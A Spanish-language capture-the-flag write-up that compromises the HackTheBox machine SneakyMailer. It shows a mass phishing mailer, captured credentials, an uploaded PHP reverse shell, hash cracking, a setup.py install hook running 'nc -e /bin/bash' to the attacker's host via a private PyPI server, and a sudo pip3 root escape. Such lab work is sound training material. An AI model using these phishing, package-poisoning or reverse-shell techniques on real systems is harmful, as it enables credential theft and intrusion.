SneakyMailer es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina SneakyMailer 10.10.10.197 a /etc/hosts como sneakymailer.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
# Nmap 7.70 scan initiated Fri Nov 27 22:04:32 2020 as: nmap -sC -p- -oA enumeration/nmap 10.10.10.197 Nmap scan report for 10.10.10.197 Host is up (0.054s latency). Not shown: 65528 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh | ssh-hostkey: | 2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA) | 256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA) |_ 256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519) 25/tcp open smtp |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 80/tcp open http |_http-title: Did not follow redirect to http://sneakycorp.htb 143/tcp open imap |_imap-capabilities: ACL2=UNION ENABLE OK CHILDREN IDLE THREAD=ORDEREDSUBJECT STARTTLS UTF8=ACCEPTA0001 NAMESPACE THREAD=REFERENCES IMAP4rev1 QUOTA SORT ACL CAPABILITY completed UIDPLUS | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:postmaster@example.com | Not valid before: 2020-05-14T17:14:21 |_Not valid after: 2021-05-14T17:14:21 |_ssl-date: TLS randomness does not represent time 993/tcp open imaps |_imap-capabilities: ACL2=UNION ENABLE OK CHILDREN IDLE THREAD=ORDEREDSUBJECT UTF8=ACCEPTA0001 AUTH=PLAIN NAMESPACE THREAD=REFERENCES IMAP4rev1 QUOTA SORT ACL CAPABILITY completed UIDPLUS | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:postmaster@example.com | Not valid before: 2020-05-14T17:14:21 |_Not valid after: 2021-05-14T17:14:21 |_ssl-date: TLS randomness does not represent time 8080/tcp open http-proxy |_http-open-proxy: Proxy might be redirecting requests |_http-title: Welcome to nginx! # Nmap done at Fri Nov 27 22:05:40 2020 -- 1 IP address (1 host up) scanned in 68.03 seconds |
Encontramos varios puertos interesantes en esta máquina, por una parte un portal web en el 80, el servicio de smtp en el 25, imap e imaps y un portal web en el puerto 8080. Vamos a pasar a enumerar los puertos a ver que información podemos conseguir.
Enumeración
Accedemos al portal web y lo primero que vemos es que nos redirecciona al dominio sneakycorp.htb, así que añadimos el mismo a nuestro fichero /etc/hosts y accedemos obteniendo el siguiente portal web:
Observamos un portal para empleados donde vemos dos proyectos interesantes que pueden ser de ayuda más adelante, pypi y pop3 y smtp.
Seguimos revisando el portal y encontramos un listado de usuarios en la página /team.php
Viendo los servicios que descubrimos con el escaneo con nmap vamos a obtener el listado de direcciones de correo para ver si podemos hacer algo con ellas y con el servicio de smtp descubierto.
Utilizaremos una herramienta online para extraer las direcciones de correo del código fuente de esta página.
https://email-checker.net/extract-email
Y guardaremos el resultado en un fichero de texto para analizarlo posteriormente.
Para hacer una prueba del servicio smtp utilizaremos la herramienta swaks, también conocida como la navaja suiza de smtp.
Nos descargamos la misma y hacemos un prueba para ver si podemos conectarnos con este servicio:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
$ swaks To: tigernixon@sneakymailer.htb === Trying sneakymailer.htb:25... === Connected to sneakymailer.htb. <- 220 debian ESMTP Postfix (Debian/GNU) -> EHLO kali <- 250-debian <- 250-PIPELINING <- 250-SIZE 10240000 <- 250-VRFY <- 250-ETRN <- 250-STARTTLS <- 250-ENHANCEDSTATUSCODES <- 250-8BITMIME <- 250-DSN <- 250-SMTPUTF8 <- 250 CHUNKING -> MAIL FROM:<root@kali> <- 250 2.1.0 Ok -> RCPT TO:<tigernixon@sneakymailer.htb> <- 250 2.1.5 Ok -> DATA <- 354 End data with <CR><LF>.<CR><LF> -> Date: Fri, 27 Nov 2020 22:14:54 +0000 -> To: tigernixon@sneakymailer.htb -> From: root@kali -> Subject: test Fri, 27 Nov 2020 22:14:54 +0000 -> Message-Id: <20201127221454.006357@kali> -> X-Mailer: swaks v20201014.0 jetmore.org/john/code/swaks/ -> -> This is a test mailing -> -> -> . <- 250 2.0.0 Ok: queued as 9672B24665 -> QUIT <- 221 2.0.0 Bye === Connection closed with remote host. |
Y sí, tenemos conexión por lo que vamos a hacer un script para enviar correos a todos los usuarios del listado con la intención de obtener respuesta de alguno de ellos con información que puede sernos de utilidad.
En nuestro caso hemos hecho el siguiente script en python:
1 2 3 4 5 6 7 8 9 10 11 |
import os def getmails(path): return [item.replace("\n","") for item in open(path).readlines()] emails = getmails("../data/emails.txt") for email in emails: print("\n[+] Sending mail to %s" % email) cmd = "swaks --from 'tigernixon@sneakymailer.htb' --body 'http://10.10.14.4:4444' --to " + email + " > /dev/null" os.system(cmd) |
Ejecutamos el mismo y, después de un rato, obtenemos en nuestra escucha en netcat los datos de acceso del usuario Paul Byrd:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.4] from sneakycorp.htb [10.10.10.197] 33748 POST / HTTP/1.1 Host: 10.10.14.4:4444 User-Agent: python-requests/2.23.0 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 185 Content-Type: application/x-www-form-urlencoded firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt |
Donde observamos que hay una contraseña que decodificaremos con urlencoder:
1 2 |
$ urlencode -d "%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt" ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht |
Verificamos si podemos conectarnos a los diferentes servicios descubiertos con las claves obtenidas y obtenemos un resultado positivo conectando a imaps:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
$ openssl s_client -connect 10.10.10.197:993 CONNECTED(00000003) Can't use SSL_get_servername depth=0 CN = localhost, OU = Automatically-generated IMAP SSL key, O = Courier Mail Server, L = New York, ST = NY, C = US verify error:num=18:self signed certificate verify return:1 depth=0 CN = localhost, OU = Automatically-generated IMAP SSL key, O = Courier Mail Server, L = New York, ST = NY, C = US verify return:1 --- Certificate chain 0 s:CN = localhost, OU = Automatically-generated IMAP SSL key, O = Courier Mail Server, L = New York, ST = NY, C = US i:CN = localhost, OU = Automatically-generated IMAP SSL key, O = Courier Mail Server, L = New York, ST = NY, C = US --- Server certificate -----BEGIN CERTIFICATE----- MIIE6zCCA1OgAwIBAgIBATANBgkqhkiG9w0BAQsFADCBjjESMBAGA1UEAxMJbG9j YWxob3N0MS0wKwYDVQQLEyRBdXRvbWF0aWNhbGx5LWdlbmVyYXRlZCBJTUFQIFNT TCBrZXkxHDAaBgNVBAoTE0NvdXJpZXIgTWFpbCBTZXJ2ZXIxETAPBgNVBAcTCE5l dyBZb3JrMQswCQYDVQQIEwJOWTELMAkGA1UEBhMCVVMwHhcNMjAwNTE0MTcxNDIx WhcNMjEwNTE0MTcxNDIxWjCBjjESMBAGA1UEAxMJbG9jYWxob3N0MS0wKwYDVQQL EyRBdXRvbWF0aWNhbGx5LWdlbmVyYXRlZCBJTUFQIFNTTCBrZXkxHDAaBgNVBAoT E0NvdXJpZXIgTWFpbCBTZXJ2ZXIxETAPBgNVBAcTCE5ldyBZb3JrMQswCQYDVQQI EwJOWTELMAkGA1UEBhMCVVMwggGiMA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIB gQDCzBP4iuxxLmXPkmi5jABQrywLJK0meyW49umfYhqayBH7qtuIjyAmznnyDIR0 543qHgWAfSvGHLFDB9B1wnkvAU3aprjURn1956X/4jEi9xmhRwvum5T+vp3TT96d JgW9SSLiPFQty5eVrKuQvg1bZg/Vjp7CUUQ0+7PmdylMOipohls5RDEppCDGFmiS HN0ZayXpjd/kwqZ/O9uTJGHOzagY+ruTYAx3tanO4oDwdrz9FPr3S2KNPTjjtzqf CPdcsi+6JTQJI03eMEftBKo3HZTp7Hx6FObZcvcNskTLqtsYZYuzHS7KQwiuTAJ5 d/ZKowCeJDaVlS35tQleisu+pJCkwcStpM1BJ51UQRZ5IpvItTfnrChEa1uyTlAy ZIOQK2/+34K2ZrldYWyfKlYHxieGZgzQXLo/vyW/1gqzXy7KHx+Uuf4CAzzOP1p3 8QNmvsqkJrQMuH3XPXLswr9A1gPe7KTLEGNRJSxcGF1Q25m4e04HhZzK76KlBfVt IJ0CAwEAAaNSMFAwDAYDVR0TAQH/BAIwADAhBgNVHREEGjAYgRZwb3N0bWFzdGVy QGV4YW1wbGUuY29tMB0GA1UdDgQWBBTylxdM/AHlToKxNvmnPdXJCjjbnDANBgkq hkiG9w0BAQsFAAOCAYEAAo7NqfYlXSEC8q3JXvI5EeVpkgBDOwnjxuC/P5ziEU0c PRx6L3w+MxuYJdndC0hT9FexXzSgtps9Xm+TE81LgNvuipZ9bulF5pMmmO579U2Y suJJpORD4P+65ezkfWDbPbdKyHMeRvVCkZCH74z2rCu+OeQTGb6GLfaaB7v9dThR rfvHwM50hxNb4Zb4of7Eyw2OJGeeohoG4mFT4v7cu1WwimsDF/A7OCVOmvvFWeRA EjdEReekDJsBFpHa8uRjxZ+4Ch9YvbFlYtYi6VyXV1AFR1Mb91w+iIitc6ROzjJ2 pVO69ePygQcjBRUTDX5reuBzaF5p9/6Ta9HP8NDI9+gdw6VGVTmYRJUbj7OeKSUq FWUmtZYC288ErDAZ7z+6VqJtZsPXIItZ8J6UZE3zBclGMcQ7peL9wEvJQ8oSaHHM AmgHIoMwKXSNEkHbBD24cf9KwVhcyJ4QCrSJBMAys98X6TzCwQI4Hy7XyifU3x/L XUFD0JSVQp4Rmcg5Uzuk -----END CERTIFICATE----- subject=CN = localhost, OU = Automatically-generated IMAP SSL key, O = Courier Mail Server, L = New York, ST = NY, C = US issuer=CN = localhost, OU = Automatically-generated IMAP SSL key, O = Courier Mail Server, L = New York, ST = NY, C = US --- No client certificate CA names sent Peer signing digest: SHA256 Peer signature type: RSA-PSS Server Temp Key: X25519, 253 bits --- SSL handshake has read 1947 bytes and written 363 bytes Verification error: self signed certificate --- New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384 Server public key is 3072 bit Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 18 (self signed certificate) --- * OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE AUTH=PLAIN ACL ACL2=UNION ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc. See COPYING for distribution information. a login paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht * OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library) a OK LOGIN Ok. |
Así que vamos ahora a buscar si hay algún correo que nos sea de utilidad:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
a list "" * * LIST (\Unmarked \HasChildren) "." "INBOX" * LIST (\HasNoChildren) "." "INBOX.Trash" * LIST (\HasNoChildren) "." "INBOX.Sent" * LIST (\HasNoChildren) "." "INBOX.Deleted Items" * LIST (\HasNoChildren) "." "INBOX.Sent Items" a OK LIST completed a select "INBOX.Sent Items" * FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent) * OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited * 2 EXISTS * 0 RECENT * OK [UIDVALIDITY 589480766] Ok * OK [MYRIGHTS "acdilrsw"] ACL a OK [READ-WRITE] Ok |
Y vemos que hay dos correos en la lista INBOX.Sent Items que veremos a continuación.
En el primer mail vemos el siguiente contenido:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
a fetch 1 BODY.PEEK[] * 1 FETCH (BODY[] {2167} --- Hello administrator, I want to change this password for the developer accou= nt Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C Please notify me when you do it=20 --- a OK FETCH completed. |
Y en el segundo mail:
1 2 3 4 5 6 7 8 9 10 11 |
* 2 FETCH (BODY[] {585} --- Hello low Your current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience. --- a OK FETCH completed. |
El segundo correo lo utilizaremos más adelante, pero en el primero vemos unas credenciales:
1 2 |
Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C |
Comprobamos de nuevo el acceso a los diferentes servicios y ahora conseguimos conectarnos al ftp:
1 2 3 4 5 6 7 8 9 10 |
$ ftp 10.10.10.197 Connected to 10.10.10.197. 220 (vsFTPd 3.0.3) Name (10.10.10.197:root): developer 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> |
Donde vemos un directorio, dev, y una serie de directorios y ficheros:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxrwxr-x 8 0 1001 4096 Jun 30 00:15 dev 226 Directory send OK. ftp> cd dev 250 Directory successfully changed. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 0 4096 May 26 2020 css drwxr-xr-x 2 0 0 4096 May 26 2020 img -rwxr-xr-x 1 0 0 13742 Jun 23 08:44 index.php drwxr-xr-x 3 0 0 4096 May 26 2020 js drwxr-xr-x 2 0 0 4096 May 26 2020 pypi drwxr-xr-x 4 0 0 4096 May 26 2020 scss -rwxr-xr-x 1 0 0 26523 May 26 2020 team.php drwxr-xr-x 8 0 0 4096 May 26 2020 vendor 226 Directory send OK. ftp> |
Debido a la cantidad de ficheros que hay vamos a descargarnos todos para su análisis, para ello lo haremos fácilmente con wget:
1 |
$ wget -r -l 11 --ftp-user='developer' --ftp-password='m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C' "ftp://10.10.10.197/dev/*" |
Analizamos los ficheros encontrados pero tampoco vemos nada relevante, probamos a subir ficheros al ftp y parece que si que podemos realizarlo.
Generaremos entonces una reverse shell en php para subirla a través del ftp, en nuestro caso la obtenemos de github, editamos la misma y la subimos al ftp:
1 2 3 4 5 6 7 |
ftp> put bytemind.php local: bytemind.php remote: bytemind.php 200 PORT command successful. Consider using PASV. 150 Ok to send data. 226 Transfer complete. 5492 bytes sent in 0.00 secs (7.5145 MB/s) ftp> |
Y probamos el acceso a la url sneakycorp.htb/bytemind.php pero esta nos da un error 404 así que parece que necesitaremos algo más para continuar.
Comprobamos los subdominios existentes en el portal con wfuzz y encontramos el subdominio dev.sneakycorp.htb:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ wfuzz -H "HOST: FUZZ.sneakycorp.htb" -u http://10.10.10.197/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt - -hh 185 Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://10.10.10.197/ Total requests: 220560 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000834: 200 340 L 989 W 13737 Ch "dev" |
Probamos el acceso a nuestra reverse shell en dev.sneakycorp.htb/bytemind.php y ahora sí conseguimos ejecutarla y obtener la shell inversa con el usuario www-data:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.4] from sneakycorp.htb [10.10.10.197] 37590 Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 GNU/Linux 18:03:23 up 56 min, 0 users, load average: 0.10, 0.06, 0.01 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ |
Revisamos el sistema y encontramos en la ruta /var/www un subdominio nuevo que todavía no conocíamos:
1 2 3 4 5 6 7 8 |
$ ls -la total 24 drwxr-xr-x 6 root root 4096 May 14 2020 . drwxr-xr-x 12 root root 4096 May 14 2020 .. drwxr-xr-x 3 root root 4096 Jun 23 08:15 dev.sneakycorp.htb drwxr-xr-x 2 root root 4096 May 14 2020 html drwxr-xr-x 4 root root 4096 May 15 2020 pypi.sneakycorp.htb drwxr-xr-x 8 root root 4096 Jun 23 09:48 sneakycorp.htb |
Revisamos en el interior del mismo y obtenemos un fichero oculto, .htpasswd con el hash del usuario pypi:
1 2 3 4 5 6 7 8 9 10 |
$ cd pypi.sneakycorp.htb $ ls -la total 20 drwxr-xr-x 4 root root 4096 May 15 2020 . drwxr-xr-x 6 root root 4096 May 14 2020 .. -rw-r--r-- 1 root root 43 May 15 2020 .htpasswd drwxrwx--- 2 root pypi-pkg 4096 Jun 30 02:24 packages drwxr-xr-x 6 root pypi 4096 May 14 2020 venv $ cat .htpasswd pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/ |
Utilizaremos la herramienta de John The Ripper para descifrar la misma y conseguir la contraseña en plano:
1 2 3 4 5 6 7 8 9 10 11 |
$ john --wordlist=/usr/share/wordlists/rockyou.txt pypi Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status soufianeelhaoui (pypi) 1g 0:00:00:34 DONE (2020-11-27 23:11) 0.02921g/s 104419p/s 104419c/s 104419C/s souheib2..souderton16 Use the "--show" option to display all of the cracked passwords reliably Session completed |
Probamos la password pero no conseguimos acceder con ella así que ahora estamos perdidos.
Revisamos de nuevo y recordamos el segundo mail que decía lo siguiente:
1 2 3 4 |
Hello low Your current task is to install, test and then erase every python module you find in our PyPI service, let me know if you have any inconvenience. |
Necesitaremos instalar el módulo pypi, el cual será instalado por el usuario low en el servidor.
Búscamos en google y encontramos los siguientes enlaces de referencia que nos ayudarán con esta tarea:
https://pypi.org/project/pypiserver/#upload-with-setuptools
https://packaging.python.org/tutorials/packaging-projects/
Por lo que necesitaremos generar dos ficheros:
- .pypirc
- setup.py
El fichero pypirc nos autorizará y el fichero setup.py será el archivo del paquete que contendrá el código para ejecutar nuestra shell.
Siguiendo las referencias indicadas anteriormente nuestro fichero .pypirc tendrá el siguiente aspecto:
1 2 3 4 5 6 7 |
[distutils] index-servers = local [local] repository: http://pypi.sneakycorp.htb:8080 username: pypi password: soufianeelhaoui |
Y el fichero setup.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
import setuptools import os if os.getuid() == 1000: os.system('nc -e /bin/bash 10.10.14.4 5555') setuptools.setup( name="sample", version="1.0.0", author="Example Author", author_email="author@example.com", description="A small example package", url="https://github.com/pypa/sampleproject", packages=setuptools.find_packages(), install_requires=['peppercorn'] ) |
Especificamos el id de usuario porque la ejecución se realizará dos veces, la primera con el usuario developer y la segunda con el usuario low y nos interesa la ejecución con el segundo ya que las claves del usuario developer ya las hemos conseguido antes.
Así que volvemos a la máquina, escalamos de www-data a developer y procederemos a subir y ejecutar nuestro paquete en python.
Obtenemos los ficheros:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
developer@sneakymailer:/tmp$ wget -r --no-parent http://10.10.14.4:12312 wget -r --no-parent http://10.10.14.4:12312 --2020-11-27 19:55:43-- http://10.10.14.4:12312/ Connecting to 10.10.14.4:12312... connected. HTTP request sent, awaiting response... 200 OK Length: 377 [text/html] Saving to: ‘10.10.14.4:12312/index.html’ 10.10.14.4:12312/in 100%[===================>] 377 --.-KB/s in 0s 2020-11-27 19:55:43 (31.7 MB/s) - ‘10.10.14.4:12312/index.html’ saved [377/377] Loading robots.txt; please ignore errors. --2020-11-27 19:55:43-- http://10.10.14.4:12312/robots.txt Connecting to 10.10.14.4:12312... connected. HTTP request sent, awaiting response... 404 File not found 2020-11-27 19:55:43 ERROR 404: File not found. --2020-11-27 19:55:43-- http://10.10.14.4:12312/.pypirc Connecting to 10.10.14.4:12312... connected. HTTP request sent, awaiting response... 200 OK Length: 128 [application/octet-stream] Saving to: ‘10.10.14.4:12312/.pypirc’ 10.10.14.4:12312/.p 100%[===================>] 128 --.-KB/s in 0s 2020-11-27 19:55:43 (407 KB/s) - ‘10.10.14.4:12312/.pypirc’ saved [128/128] --2020-11-27 19:55:43-- http://10.10.14.4:12312/setup.py Connecting to 10.10.14.4:12312... connected. HTTP request sent, awaiting response... 200 OK Length: 454 [text/plain] Saving to: ‘10.10.14.4:12312/setup.py’ 10.10.14.4:12312/se 100%[===================>] 454 --.-KB/s in 0.001s 2020-11-27 19:55:44 (380 KB/s) - ‘10.10.14.4:12312/setup.py’ saved [454/454] FINISHED --2020-11-27 19:55:44-- Total wall clock time: 0.5s Downloaded: 3 files, 959 in 0.001s (631 KB/s) developer@sneakymailer:/tmp$ |
Accedemos a la carpeta creada y establecemos nuestra home en dicho directorio:
1 2 |
developer@sneakymailer:/tmp/10.10.14.4:12312$ HOME=`pwd` HOME=`pwd` |
Y ejecutamos nuestro paquete de python:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
developer@sneakymailer:~$ python3 setup.py sdist register -r local upload -r local <n3 setup.py sdist register -r local upload -r local running sdist running egg_info creating sample.egg-info writing sample.egg-info/PKG-INFO writing dependency_links to sample.egg-info/dependency_links.txt writing requirements to sample.egg-info/requires.txt writing top-level names to sample.egg-info/top_level.txt writing manifest file 'sample.egg-info/SOURCES.txt' reading manifest file 'sample.egg-info/SOURCES.txt' writing manifest file 'sample.egg-info/SOURCES.txt' warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md running check creating sample-1.0.0 creating sample-1.0.0/sample.egg-info copying files to sample-1.0.0... copying setup.py -> sample-1.0.0 copying sample.egg-info/PKG-INFO -> sample-1.0.0/sample.egg-info copying sample.egg-info/SOURCES.txt -> sample-1.0.0/sample.egg-info copying sample.egg-info/dependency_links.txt -> sample-1.0.0/sample.egg-info copying sample.egg-info/requires.txt -> sample-1.0.0/sample.egg-info copying sample.egg-info/top_level.txt -> sample-1.0.0/sample.egg-info Writing sample-1.0.0/setup.cfg creating dist Creating tar archive removing 'sample-1.0.0' (and everything under it) running register Registering sample to http://pypi.sneakycorp.htb:8080 Server response (200): OK WARNING: Registering is deprecated, use twine to upload instead (https://pypi.org/p/twine/) running upload Submitting dist/sample-1.0.0.tar.gz to http://pypi.sneakycorp.htb:8080 Server response (200): OK WARNING: Uploading via this command is deprecated, use twine to upload instead (https://pypi.org/p/twine/) developer@sneakymailer:~$ |
Consiguiendo la shell en nuestra escucha:
1 2 3 4 5 |
$ nc -lvp 5555 listening on [any] 5555 ... connect to [10.10.14.4] from sneakycorp.htb [10.10.10.197] 57350 id uid=1000(low) gid=1000(low) groups=1000(low),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),119(pypi-pkg) |
Obteniendo la flag de user
Ahora que ya estamos con el usuario low, obtenemos una shell con python y vamos a por nuestra flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
python3 -c 'import pty; pty.spawn("/bin/bash");' low@sneakymailer:/$ whoami whoami low low@sneakymailer:/$ low@sneakymailer:~$ ls -l ls -l total 8 -rwxr-x--- 1 root low 33 Nov 27 17:07 user.txt drwxr-xr-x 6 low low 4096 May 16 2020 venv low@sneakymailer:~$ cat user.txt cat user.txt 3XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX2 low@sneakymailer:~$ |
Escalando privilegios
El escalado de privilegios en este caso es realmente sencillo. En primer paso verificamos los permisos del usuario:
1 2 3 4 5 6 7 8 |
low@sneakymailer:~$ sudo -l sudo: unable to resolve host sneakymailer: Temporary failure in name resolution Matching Defaults entries for low on sneakymailer: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User low may run the following commands on sneakymailer: (root) NOPASSWD: /usr/bin/pip3 low@sneakymailer:~$ |
Y vemos que tenemos control de root sobre pip3, por lo que buscamos un exploit para ello y encontramos uno en gtfobins.
Ejecutamos el mismo:
1 2 3 4 5 6 7 8 9 |
low@sneakymailer:~$ TF=$(mktemp -d) low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py low@sneakymailer:~$ sudo /usr/bin/pip3 install $TF sudo: unable to resolve host sneakymailer: Temporary failure in name resolution Processing /tmp/tmp.ueoCXRGIrW # whoami root # id uid=0(root) gid=0(root) groups=0(root) |
Y ya somos root.
Obteniendo la flag de root
Ahora que ya somos root, sólo nos queda ir a la home del mismo y obtener nuestra flag:
1 2 3 4 5 6 |
# ls -l /root total 4 -rwx------ 1 root root 33 Nov 27 17:07 root.txt # cat /root/root.txt dXXXXXXXXXXXXXXXXXX6 # |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace